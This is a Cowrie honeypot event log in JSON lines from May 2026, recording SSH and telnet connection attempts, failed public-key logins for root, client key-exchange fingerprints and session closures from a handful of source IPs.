{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1Dx3DkkyvtA0BsoKnctgNire+l6X6ToE50T48OwMsMm4a1VlYMw26fG2rioACI0kIdQ/KTuMpQxBomUT2Cz/5YT+EnG0pSHIc2XC3Kd3Y1JcKLJBgok1skPZa0l7ADdkV5B5haIwA1xRC+LrVAZPCJ7JlegLfTRHPthwdOYUmVuP3c0ZxQMfShG5NXUzU3fSve1mLRAeRCEmMxsN2h7io3NrOBGXH6VQgzi/gVaX+WaCXkI6mvqH5mFYhp7iVuTl+Ws9dx7gXXCs65EciU66knuTrNEnUi/3zKQ4yJvStzTaDPsu0o9wtQh2y9eELv0QrCcBnGrACYzC9qd8Kmlz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.248380Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1Dx3DkkyvtA0BsoKnctgNire+l6X6ToE50T48OwMsMm4a1VlYMw26fG2rioACI0kIdQ/KTuMpQxBomUT2Cz/5YT+EnG0pSHIc2XC3Kd3Y1JcKLJBgok1skPZa0l7ADdkV5B5haIwA1xRC+LrVAZPCJ7JlegLfTRHPthwdOYUmVuP3c0ZxQMfShG5NXUzU3fSve1mLRAeRCEmMxsN2h7io3NrOBGXH6VQgzi/gVaX+WaCXkI6mvqH5mFYhp7iVuTl+Ws9dx7gXXCs65EciU66knuTrNEnUi/3zKQ4yJvStzTaDPsu0o9wtQh2y9eELv0QrCcBnGrACYzC9qd8Kmlz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.252717Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+roZuOjDz6yOHKOL1Wic5RgQ9DJd5J2nsh7VTfMcsCRiYKawPX2n+lRRL82TTTFfqq1v3gMPj20mA+7lxs1XJF3dIAUVA+q7hTCgICDSts7EOe7pil2Ik42S1rTUNoExzxoDP0RNjeFb4V7PxCPQXeVVUzfvDc0fNg6v85emgLFKFbTv0diXKlNAfAR0ksgy3Jya57/hKTfov7AABB0wHcBbtofVr1rqaQlDOeH5Bf0BOLji1JRhaYNvjoIdxlPZrEgFbok02/JE/BP6q/tmvTsqGyWyqYyiP6QJl7YL7n2YKTp0p2s4/HXTAENTIbdB8VSkHXmRwvz37+VNej4J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.283395Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+roZuOjDz6yOHKOL1Wic5RgQ9DJd5J2nsh7VTfMcsCRiYKawPX2n+lRRL82TTTFfqq1v3gMPj20mA+7lxs1XJF3dIAUVA+q7hTCgICDSts7EOe7pil2Ik42S1rTUNoExzxoDP0RNjeFb4V7PxCPQXeVVUzfvDc0fNg6v85emgLFKFbTv0diXKlNAfAR0ksgy3Jya57/hKTfov7AABB0wHcBbtofVr1rqaQlDOeH5Bf0BOLji1JRhaYNvjoIdxlPZrEgFbok02/JE/BP6q/tmvTsqGyWyqYyiP6QJl7YL7n2YKTp0p2s4/HXTAENTIbdB8VSkHXmRwvz37+VNej4J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.287439Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxd/5PYrl0Ei/6Mcvgp5swl+hhZZ0HliwDQH3tm7BRfm7ArFSHKgUbqtmn+otqTBbk++HtOayoX6XVzV21Iaby33p2sZP5GVHOiUPfarsmvrA7VBAXK4O53oMAKn1GYb/IHioYQi+aCKLaL1Rxdyw6XE9k5MZTNIfWqpUSanjoJ4Yc99eKrXiJfYCmE9DKieeuEzJbWEOukmo77k5l0BEtOZ6ECiYAPVSM7P8nydgZIwGZMpqUM95REiCBjfu1MzHta9WEC6wq000XfiRrNfI37fstJEKwbDqMppDlrQJHjvPNOltNTynpW9vzY8xWAHBFc4VT4zcmX+R4Ig3ofplx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.317139Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxd/5PYrl0Ei/6Mcvgp5swl+hhZZ0HliwDQH3tm7BRfm7ArFSHKgUbqtmn+otqTBbk++HtOayoX6XVzV21Iaby33p2sZP5GVHOiUPfarsmvrA7VBAXK4O53oMAKn1GYb/IHioYQi+aCKLaL1Rxdyw6XE9k5MZTNIfWqpUSanjoJ4Yc99eKrXiJfYCmE9DKieeuEzJbWEOukmo77k5l0BEtOZ6ECiYAPVSM7P8nydgZIwGZMpqUM95REiCBjfu1MzHta9WEC6wq000XfiRrNfI37fstJEKwbDqMppDlrQJHjvPNOltNTynpW9vzY8xWAHBFc4VT4zcmX+R4Ig3ofplx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.321744Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8VjdGKBdZ7xC9rMHZfhG02Aj1nRY7loELX/hcqQ5+R5+LXvQ/BMuYtQiHBJ+hRm6zDdMqbaPNt7vG0L1ZcfFGf84C7TDXrfS/hQcLTioeuMEk13VD71WHpOlLRa1PrRZ9p3fV9PXdAgMhCLGGMcxLuOtocBvB/5esBWx/jPR6jrX7phi9wC9K4aMSBjm1H5MAzEFLEJEbCPXguBJHowQaij/SuxOsVEFD7MqVZgfgQdt9qWQdicVne+xqKPr/eeiSGPcGRfAg0fFXo7j2DUyomgNGN2BvgJroyVStXoxaPfg9ZI1KKOOb34JuZNv8ono7MbsLpVIdOK2osOiHEtR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.352824Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8VjdGKBdZ7xC9rMHZfhG02Aj1nRY7loELX/hcqQ5+R5+LXvQ/BMuYtQiHBJ+hRm6zDdMqbaPNt7vG0L1ZcfFGf84C7TDXrfS/hQcLTioeuMEk13VD71WHpOlLRa1PrRZ9p3fV9PXdAgMhCLGGMcxLuOtocBvB/5esBWx/jPR6jrX7phi9wC9K4aMSBjm1H5MAzEFLEJEbCPXguBJHowQaij/SuxOsVEFD7MqVZgfgQdt9qWQdicVne+xqKPr/eeiSGPcGRfAg0fFXo7j2DUyomgNGN2BvgJroyVStXoxaPfg9ZI1KKOOb34JuZNv8ono7MbsLpVIdOK2osOiHEtR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.357398Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.390616Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96c4c9a4612","protocol":"telnet","message":"New connection: 147.182.143.59:50804 (159.203.135.109:23) [session: b96c4c9a4612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:13.807738Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcdb3e5478b6","protocol":"telnet","message":"New connection: 45.58.127.90:41330 (10.17.0.5:23) [session: fcdb3e5478b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:14.870334Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fec9ab8284f","protocol":"telnet","message":"New connection: 45.58.127.90:41326 (10.17.0.5:23) [session: 7fec9ab8284f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:14.902963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e620497f829","protocol":"telnet","message":"New connection: 45.58.127.90:41338 (10.17.0.5:23) [session: 7e620497f829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:15.632768Z"}
{"eventid":"cowrie.session.closed","duration":1.970320224761963,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:16.873145Z","src_ip":"45.58.127.90","session":"7fec9ab8284f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.494950294494629,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:17.365180Z","src_ip":"45.58.127.90","session":"fcdb3e5478b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd106769a95b","protocol":"telnet","message":"New connection: 45.58.127.90:41342 (10.17.0.5:23) [session: bd106769a95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:17.715598Z"}
{"eventid":"cowrie.session.closed","duration":12.625297546386719,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:26.432914Z","src_ip":"147.182.143.59","session":"b96c4c9a4612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ed759b203b","protocol":"telnet","message":"New connection: 45.58.127.90:58008 (10.17.0.5:23) [session: 56ed759b203b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:29.947293Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56144,"dst_ip":"159.203.135.109","dst_port":23,"session":"df6474d9e644","protocol":"telnet","message":"New connection: 147.182.143.59:56144 (159.203.135.109:23) [session: df6474d9e644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:38.322146Z"}
{"eventid":"cowrie.session.closed","duration":40.813308238983154,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:44.516635Z","src_ip":"45.58.127.90","session":"24de62e0f1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0948d7170a","protocol":"telnet","message":"New connection: 147.182.143.59:56160 (159.203.135.109:23) [session: 8a0948d7170a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:45.266174Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36756,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8064802343","protocol":"telnet","message":"New connection: 147.182.143.59:36756 (159.203.135.109:23) [session: dd8064802343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:48.580848Z"}
{"eventid":"cowrie.session.closed","duration":33.49932408332825,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:49.131973Z","src_ip":"45.58.127.90","session":"7e620497f829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.451324939727783,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:49.773351Z","src_ip":"147.182.143.59","session":"df6474d9e644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab33b42d6e0e","protocol":"telnet","message":"New connection: 147.182.143.59:36766 (159.203.135.109:23) [session: ab33b42d6e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:51.681052Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"070588a4ef12","protocol":"telnet","message":"New connection: 147.182.143.59:36778 (159.203.135.109:23) [session: 070588a4ef12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:52.191215Z"}
{"eventid":"cowrie.session.closed","duration":39.81731581687927,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:57.532813Z","src_ip":"45.58.127.90","session":"bd106769a95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34240,"dst_ip":"159.203.135.109","dst_port":23,"session":"318ed09f9344","protocol":"telnet","message":"New connection: 147.182.143.59:34240 (159.203.135.109:23) [session: 318ed09f9344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:59.374137Z"}
{"eventid":"cowrie.session.closed","duration":14.593507766723633,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:59.859487Z","src_ip":"147.182.143.59","session":"8a0948d7170a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.314953804016113,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:02.895710Z","src_ip":"147.182.143.59","session":"dd8064802343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47124,"dst_ip":"10.17.0.5","dst_port":23,"session":"297412e96d2a","protocol":"telnet","message":"New connection: 45.58.127.90:47124 (10.17.0.5:23) [session: 297412e96d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:05.615227Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"f74cb7cd422f","protocol":"telnet","message":"New connection: 45.58.127.90:47138 (10.17.0.5:23) [session: f74cb7cd422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:06.333623Z"}
{"eventid":"cowrie.session.closed","duration":14.625836849212646,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:06.816947Z","src_ip":"147.182.143.59","session":"070588a4ef12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.157674789428711,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:07.491180Z","src_ip":"45.58.127.90","session":"f74cb7cd422f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57028675079346,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:14.517445Z","src_ip":"45.58.127.90","session":"56ed759b203b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.84737753868103,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:16.221416Z","src_ip":"147.182.143.59","session":"318ed09f9344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39314,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f89b1fd306","protocol":"telnet","message":"New connection: 147.182.143.59:39314 (159.203.135.109:23) [session: b8f89b1fd306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:29.329422Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.196","src_port":7732,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e36e2090edd","protocol":"ssh","message":"New connection: 92.118.39.196:7732 (159.203.135.109:22) [session: 7e36e2090edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:31.658512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:31.662858Z","src_ip":"92.118.39.196","session":"7e36e2090edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:31.766660Z","src_ip":"92.118.39.196","session":"7e36e2090edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:32.213165Z","src_ip":"92.118.39.196","session":"7e36e2090edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.200063943862915,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:36.529373Z","src_ip":"147.182.143.59","session":"b8f89b1fd306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41458,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a014b36f523","protocol":"telnet","message":"New connection: 147.182.143.59:41458 (159.203.135.109:23) [session: 3a014b36f523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:39.900042Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41460,"dst_ip":"159.203.135.109","dst_port":23,"session":"666ad50d6396","protocol":"telnet","message":"New connection: 147.182.143.59:41460 (159.203.135.109:23) [session: 666ad50d6396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:41.632727Z"}
{"eventid":"cowrie.session.closed","duration":7.751755714416504,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:47.651679Z","src_ip":"147.182.143.59","session":"3a014b36f523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.30941200256348,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:49.924370Z","src_ip":"45.58.127.90","session":"297412e96d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50602,"dst_ip":"159.203.135.109","dst_port":23,"session":"c788b8acfedc","protocol":"telnet","message":"New connection: 147.182.143.59:50602 (159.203.135.109:23) [session: c788b8acfedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:51.323753Z"}
{"eventid":"cowrie.session.closed","duration":10.841351985931396,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:52.473988Z","src_ip":"147.182.143.59","session":"666ad50d6396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.21212339401245,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:04:55.893049Z","src_ip":"147.182.143.59","session":"ab33b42d6e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.470003604888916,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:05.793634Z","src_ip":"147.182.143.59","session":"c788b8acfedc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34276,"dst_ip":"10.17.0.5","dst_port":23,"session":"af7633df4183","protocol":"telnet","message":"New connection: 45.58.127.90:34276 (10.17.0.5:23) [session: af7633df4183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:20.506324Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34278,"dst_ip":"10.17.0.5","dst_port":23,"session":"9754c975034e","protocol":"telnet","message":"New connection: 45.58.127.90:34278 (10.17.0.5:23) [session: 9754c975034e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:22.519060Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43416,"dst_ip":"159.203.135.109","dst_port":23,"session":"59cfb52197d5","protocol":"telnet","message":"New connection: 147.182.143.59:43416 (159.203.135.109:23) [session: 59cfb52197d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:29.809889Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8112ba740888","protocol":"telnet","message":"New connection: 45.58.127.90:46760 (10.17.0.5:23) [session: 8112ba740888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:36.631181Z"}
{"eventid":"cowrie.session.closed","duration":13.309744119644165,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:43.119539Z","src_ip":"147.182.143.59","session":"59cfb52197d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee60ae5c28f0","protocol":"telnet","message":"New connection: 147.182.143.59:36778 (159.203.135.109:23) [session: ee60ae5c28f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:49.047546Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36794,"dst_ip":"159.203.135.109","dst_port":23,"session":"08aebd46fa96","protocol":"telnet","message":"New connection: 147.182.143.59:36794 (159.203.135.109:23) [session: 08aebd46fa96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:05:55.520960Z"}
